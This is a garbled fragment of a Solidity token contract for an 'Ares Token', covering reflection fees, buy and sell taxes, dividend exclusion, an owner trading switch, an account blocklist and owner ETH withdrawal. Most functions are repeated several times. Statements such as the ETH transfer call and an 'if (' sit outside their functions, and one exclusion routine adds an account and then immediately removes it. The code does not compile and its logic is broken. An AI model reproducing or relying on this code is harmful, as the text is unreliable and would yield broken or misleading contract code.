_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
} else {
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "Ares Token: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
require(newValue != minimumTokensBeforeSwap, "Ares Token: Cannot update minimumTokensBeforeSwap to same value");
emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
minimumTokensBeforeSwap = newValue;
}
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "Ares Token: Cannot send more than contract balance");
uint256 amount = address(this).balance;
if (success){
emit ClaimETHOverflow(amount);
}
}
(bool success,) = address(owner()).call{value : amount}("");
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "Ares Token: Cannot send more than contract balance");
uint256 amount = address(this).balance;
if (success){
emit ClaimETHOverflow(amount);
}
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view virtual returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromDividends[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function getBaseBuyFees() external view returns (uint8, uint8, uint8, uint8, uint8){
return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy);
}
function getBaseSellFees() external view returns (uint8, uint8, uint8, uint8, uint8){
return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Ares Token: Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "Ares Token: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "Ares Token: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "Ares Token: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "Ares Token: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "Ares Token: Trading is currently disabled.");
require(!_isBlocked[to], "Ares Token: Account is blocked");
require(!_isBlocked[from], "Ares Token: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "Ares Token: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "Ares Token: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
isTradingEnabled
&& isSwapAndLiquify
&& !_swapping
&& automatedMarketMakerPairs[to]
&& canSwap
&& _totalFee > 0
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "Ares Token: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "Ares Token: Trading is currently disabled.");
require(!_isBlocked[to], "Ares Token: Account is blocked");
require(!_isBlocked[from], "Ares Token: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "Ares Token: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "Ares Token: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
isTradingEnabled
&& isSwapAndLiquify
&& !_swapping
&& automatedMarketMakerPairs[to]
&& canSwap
&& _totalFee > 0
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "Ares Token: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "Ares Token: Trading is currently disabled.");
require(!_isBlocked[to], "Ares Token: Account is blocked");
require(!_isBlocked[from], "Ares Token: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "Ares Token: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "Ares Token: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
isTradingEnabled
&& isSwapAndLiquify
&& !_swapping
&& automatedMarketMakerPairs[to]
&& canSwap
&& _totalFee > 0
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "Ares Token: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "Ares Token: Trading is currently disabled.");
require(!_isBlocked[to], "Ares Token: Account is blocked");
require(!_isBlocked[from], "Ares Token: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "Ares Token: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "Ares Token: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
isTradingEnabled
&& isSwapAndLiquify
&& !_swapping
&& automatedMarketMakerPairs[to]
&& canSwap
&& _totalFee > 0
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
if (
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "Ares Token: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "Ares Token: Trading is currently disabled.");
require(!_isBlocked[to], "Ares Token: Account is blocked");
require(!_isBlocked[from], "Ares Token: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "Ares Token: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "Ares Token: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
isTradingEnabled
&& isSwapAndLiquify
&& !_swapping
&& automatedMarketMakerPairs[to]
&& canSwap
&& _totalFee > 0
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "Ares Token: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "Ares Token: Trading is currently disabled.");
require(!_isBlocked[to], "Ares Token: Account is blocked");
require(!_isBlocked[from], "Ares Token: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "Ares Token: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "Ares Token: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
isTradingEnabled
&& isSwapAndLiquify
&& !_swapping
&& automatedMarketMakerPairs[to]
&& canSwap
&& _totalFee > 0
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rOther = tOther * currentRate;
uint256 rTransferAmount = rAmount - (rFee + rOther);
return (rAmount, rTransferAmount, rFee, rOther);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp) private {
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp) private {
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp) private {
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
